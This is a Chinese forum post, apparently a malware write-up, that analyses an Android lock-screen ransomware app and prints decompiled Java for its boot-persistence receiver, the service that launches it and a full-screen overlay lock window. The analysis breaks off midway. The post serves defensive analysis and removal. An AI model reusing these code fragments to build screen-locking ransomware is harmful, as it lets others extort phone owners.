原创技术文章:《对一恶意锁屏勒索类软件的分析、破解和清除》
正文:
1、基本信息:
应用名称:酷跑刷钻助手
文件名称:com.h-1.apk
包名:com.h
软件图标:
MD5值:3b7595648ce4b92dd5ea19f01ecb3413
文件大小:154.02KB
受到威胁的系统:Android。
最低安装版本为安卓:2.3-2.3.2(Gingerbread)
对软件保护措施:des加密,简单混淆和代码误导(无加固)
安全度:低
样本编写工具:AIDE
样本地址: 03eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2L8W2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8U0q4G2y4#2c8a6c8@1t1@1
分析时间:2017-08-20
2、开始分析
进行分析的操作系统:Android。
分析所用工具:APKtool+助手(1.7.5)
注意:由于我对smali还不太熟悉,为了不影响分析,将所有smali文件都转换成了java文件,所以下面我们讨论的都是java的文件。
我们来预览锁机界面:
界面做的非常丑,可见作者水平不高(其实我发现大多数做锁机的人都技术水平都不高)
好了,现在我们开始对这个锁机进行分析。
我们首先看AndroidManifest.xml。得知此软件获取的权限有:android.permission.SEND_SMS(发送短信)
android.permission.SYSTEM_ALERT_WINDOW(系统窗口权限,正常软件绝对用不到的一条权限)
android.permission.RECEIVE_BOOT_COMPLETED(允许一个程序接收到 ACTION_BOOT_COMPLETED广播在系统完成启动)
android.permission.INTERNET(网络访问权限,可能产生流量)
android.permission.ACCESS_NETWORK_STATE(允许程序访问有关GSM网络的信息,可能产生流量)
android.permission.WRITE_EXTERNAL_STORAGE(允许程序写入外部存储,如SD卡上写文件)
android.permission.MOUNT_UNMOUNT_FILESYSTEMS(允许程序挂载、反挂载外部文件系统)
权限都是一个正常的锁机应有的。并且查看了一下,没什么可疑的文件,初步判断这是真正的锁机。
还有这个: </receiver>
<receiver android:name=".MyAdmin" android:description="@string/hello">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin"/>
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
</intent-filter>
</receiver>
这个是激活设备管理器的。接下来我们会进行分析。
那么我们看他的启动类,是M.java。好的,我们来看看。翻的途中看到一个文件夹:ym,好奇点进去看了看,发现一个yanma.java。看了看,发现其实就是锁机界面最上面的那个时钟特效。对我们的破解没什么用。继续打开M.java看看。
private void activiteDevice()
{
Class v7 = Class.forName("com.h.s");
Intent localIntent = new Intent(p0,v7);
Intent v4 = v4.setFlags(268435456);
ComponentName v4 = p0.startService(v4);
return;
String v6 = v4.getMessage();
NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(v6);
throw v4;
}
public void onCreate(Bundle paramBundle0)
{
LogCatBroadcaster.start(p0);
p0.onCreate(p1);
p0.activiteDevice();
return;
}
}
onCreate 方法的p0.activiteDevice就是启动锁屏服务。我们先不看s类,
来看看开机启动广播的那个类(bbb.java):public void onReceive(Context paramContext0, Intent paramIntent1)
{
String v6 = p2.getAction();
boolean v6 = v6.equals("android.intent.action.BOOT_COMPLETED");
if(v6 == 0) break :cond_0;
p0.abortBroadcast();
Class v9 = Class.forName("com.h.s");
Intent localIntent = new Intent(p1,v9);
Intent v6 = v6.addFlags(268435456);
ComponentName v6 = p1.startService(v6);
:cond_0
return;
String v8 = v6.getMessage();
NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(v8);
throw v6;
}
获取到com.h.s这个类,然后继承父类,并启动服务。也是指向了s类,好,我们来s类看看。(提示:S类才是我们的重头戏)
打开s.java,这个java文件中的内容比较乱,且大多数没什么研究价值。我们只要来看这些代码:private void c()
{
WindowManager$LayoutParams localWindowManager$LayoutParams = new WindowManager$LayoutParams();
p0.wmParams = v5;
Application v5 = p0.getApplication();
Application v6 = p0.getApplication();
Object v5 = v5.getSystemService(Context.WINDOW_SERVICE);
p0.mWindowManager = ((WindowManager)v5);
p0.wmParams.type = 2010;
p0.wmParams.format = 1;
p0.wmParams.flags = 1280;
p0.wmParams.gravity = 49;
p0.wmParams.x = 0;
p0.wmParams.y = 0;
p0.wmParams.width = -1;
p0.wmParams.height = -1;
Application v4 = p0.getApplication();
LayoutInflater v4 = LayoutInflater.from(v4);
View v5 = v4.inflate(2130903042,((ViewGroup)0));
p0.mFloatLayout = v5;
p0.mWindowManager.addView(p0.mFloatLayout,p0.wmParams);
View v5 = p0.mFloatLayout.findViewById(2131296258);
p0.bt = ((Button)v5);
View v5 = p0.mFloatLayout.findViewById(2131296257);
p0.ed = ((EditText)v5);
View v5 = p0.mFloatLayout.findViewById(2131296256);
p0.tv = ((TextView)v5);
p0.ed.setHint("");
p0.tv.append(" ☆飞哥出品☆");
:goto_0
s$100000001 locals$100000001 = new s$100000001(p0);
p0.bt.setOnClickListener(v5);
StringBuffer localStringBuffer = new StringBuffer();
StringBuffer localStringBuffer = new StringBuffer();
StringBuffer v6 = v6.append("\n");
String v7 = p0.des.decrypt("e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c");
StringBuffer v6 = v6.append(v7);
String v6 = v6.toString();
StringBuffer v5 = v5.append(v6);
long v6 = p0.share.getLong("m",((long)0));
StringBuffer v5 = v5.append(v6);
String v5 = v5.toString();
p0.tv.append(v5);
:goto_1
return;
goto :goto_0
goto :goto_1
}
看到这里我们就知道,这个锁机启动之后就创建了一个服务,服务中获取了WindowsManager,接着加载了一个LinearLayout并添加它,就实现了锁屏的效果。(锁屏类勒索软件通常利用WindowManager.LayoutParams的flags属性,设置成某个固定的值,使悬浮窗口悬浮置顶。)也就是说,如果使服务关闭,那就解除了锁屏。
接着我们直接搜索onCreate(这个方法就是在窗口被打开的时候调用的),我们看到public void onCreate()
{
p0.onCreate();
double v4 = Math.random();
v4 = (v4 * ((double)10000));
p0.pass = ((long)v4);
v4 = (p0.pass + ((long)1));
Long localLong = new Long(v4);
p0.passw = v6;
[培训]科锐逆向工程师培训第53期2025年7月8日开班!
最后于 2018-9-16 13:43
被金帆编辑
,原因: